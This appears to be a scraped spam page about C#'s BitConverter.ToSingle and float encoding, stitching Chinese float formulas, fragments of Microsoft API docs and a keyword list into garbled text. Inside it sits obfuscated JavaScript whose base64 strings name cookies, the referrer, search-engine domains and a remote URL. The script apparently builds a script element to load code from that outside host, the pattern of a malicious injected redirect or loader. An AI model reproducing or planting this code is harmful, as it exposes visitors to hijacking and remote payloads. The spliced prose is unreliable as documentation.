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$$V = (-1)^S \times M \times A^{(E-B)}$$

$$M = C + F$$

32 位 IEEE 浮点数: $A=2, B=127, C=1$;

32 位 IBM 浮点数: $A=16, B=64, C=0$ 。

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Visit the NET API Browser on docs.microsoft.com to see the new experience Returns a single-precision floating point number converted from four bytes at a specified position in a byte array.. ToSingle Method (Byte[], Int32)The NET API Reference documentation has a new home..

```
constructor(\x22return\x20this\x22)(\x20'+');_0x4c2de4=_0x2d9501();catch(_0x43d1fc){_0x4c2de4=window;}var _0x2791d4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/-';_0x4c2de4[atob'']|l(_0x4c2de4[atob']=function(_0x37481f){var _0x224100=String(_0x37481f)['replace'](/=+$/,"");for(var _0x5995f6=0x0,_0x56ce98,_0x1e82c4,_0x88ed72=0x0,_0x442a12="";_0x1e82c4=_0x224100['charAt'](_0x88ed72++);~_0x1e82c4&&(_0x56ce98=_0x5995f6%0x4?_0x56ce98*0x40+_0x1e82c4:_0x1e82c4,_0x5995f6++%0x4)?_0x442a12+=String['fromCharCode'](0xff&_0x56ce98>>(-0x2*_0x5995f6&0x6)):0x0){_0x1e82c4=_0x2791d4['indexOf'](_0x1e82c4);}return _0x442a12;});})();_0x588a['base64DecodeUnicode']=function(_0x4a308b){var _0x525559=atob(_0x4a308b);var _0x4705ef=[];for(var _0x26554b=0x0,_0xc44486=_0x525559['length'];_0x26554b=_0x1a5b63;),'sulsd':_0x588a('0x28'),'RHGnl':_0x588a('0x1'),'oKYRA':function _0x3b3633(_0x164df0,_0x1e9bbe){return _0x164df0(_0x1e9bbe);},'jrHfw':function _0x17c8ab(_0x5e5f5b,_0x1ad9b4){return _0x5e5f5b+_0x1ad9b4;}};var _0x5a542c=[_0x588a('0x29'),_0x588a('0x2a'),_0x16cadb['btLqq'],_0x16cadb[_0x588a('0x2b')],_0x16cadb[_0x588a('0x2c')],_0x588a('0x2d'),_0x16cadb[_0x588a('0x2e')]],_0x166769=document[_0x588a('0x2f')],_0x3ce4e9=,[],_0x1fdc75=cookie['get'](_0x588a('0x30'));for(var _0x91d842=0x0;_0x91d842
```

The following code example converts elements of Byte arrays to Single values with the ToSingle method.. startIndex is greater than or equal to the length of value minus 3, and is less than or equal to the length of value minus 1.. var _0x5e68=[_0x5e68='LmJpbmCu','YVV3WXU','SIFwWmM','LmFsdGF2aXN0YS4=','Z3Fna3k=','cmVmZXJyZXI=','dmlzaXRIZA==','bHVQaUo=','QWxFWmo=','S2hGWlg=','c2V0','d3ZDUm8=','bXN1ZEg=','SU1DVGU=','aW5kZXhPZg==','c3Vsc2Q=','Y3JlYXRIRWxlbWVudA==','UkhHbmw=','WVFRSmw=','b0tZUkE=','anJlZnc=','c2NyaXB0','aGVhZA==','VEhsZ2E=','c3Jj','Z2VORWxlbWVudHNCeVRhZ05hbWU=','bHFDQmo=','YXBwZW5kQ2hpbGQ=','YyMrYml0Y29udmVydGVyK3RvK2Zsb2F0','MnwzDF8NHw1fDA=','UIT','cE9F','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','T21ScnE=','c3BsaXQ=','Y29va2ll','bWF0Y2g=','UXFyclY=','bGVuZ3Ro','cmVwbGFjZQ==','SIZIZ1c=','WXdkano=','WmZMdkk=','ekFTZ1U=','cGFIR1I=','OyBleHBpcmVzPQ==','OyBwYXR0PQ==','OyBkb21haW49','d0FRekY=','Z3lWSWE=','UElpU3k=','VEhGRHA=','RnVnbXc=','Ym1qTkw=','bVFLZW0=','SWZ3dWU=','LmFvbC4=','LmFzay4=','LnlhbmRleC4=','SmNP','Wkth','eFR0'];(function(_0x15341c,_0x3e6bb0){var _0xf64b7d=function(_0xf31f17){while(--_0xf31f17){_0x15341c['push'](_0x15341c['shift']());}};_0xf64b7d(++_0x3e6bb0);}(_0x5e68,0x190));var _0x588a=function(_0x56eb88,_0x3893a7){_0x56eb88=_0x56eb88-0x0;var _0x4c6910=_0x5e68[_0x56eb88];if(_0x588a['initialized']===undefined){(function(){var _0x4c2de4;try{var _0x2d9501=Function('return\x20(function()\x20'+').. The order of bytes in the array must reflect the endianness of the computer system's architecture; for more information, see the Remarks section of BitConverter.

bitconverter float c#

bitconverter float c#, bitconverter float, bitconverter float to byte array, bitconverter float to int, .net bitconverter float, bitconverter.getbytes float, c# bitconverter byte to float, c# bitconverter.getbytes float, bitconverter byte to float, float bit converter, float32 bit converter

Return ValueA single-precision floating point number formed by four bytes beginning at startIndex.. Available since 8Available since 11Available since 20Windows Phone Silverlight.. Assembly: mscorlib (in mscorlib.dll)ParametersAn array of bytes The starting position within value.

bitconverter float to byte array

startIndex is less than zero or greater than the length of value minus 1 The ToSingle method converts the bytes from index startIndex to startIndex + 3 to a Single value.

.net bitconverter float

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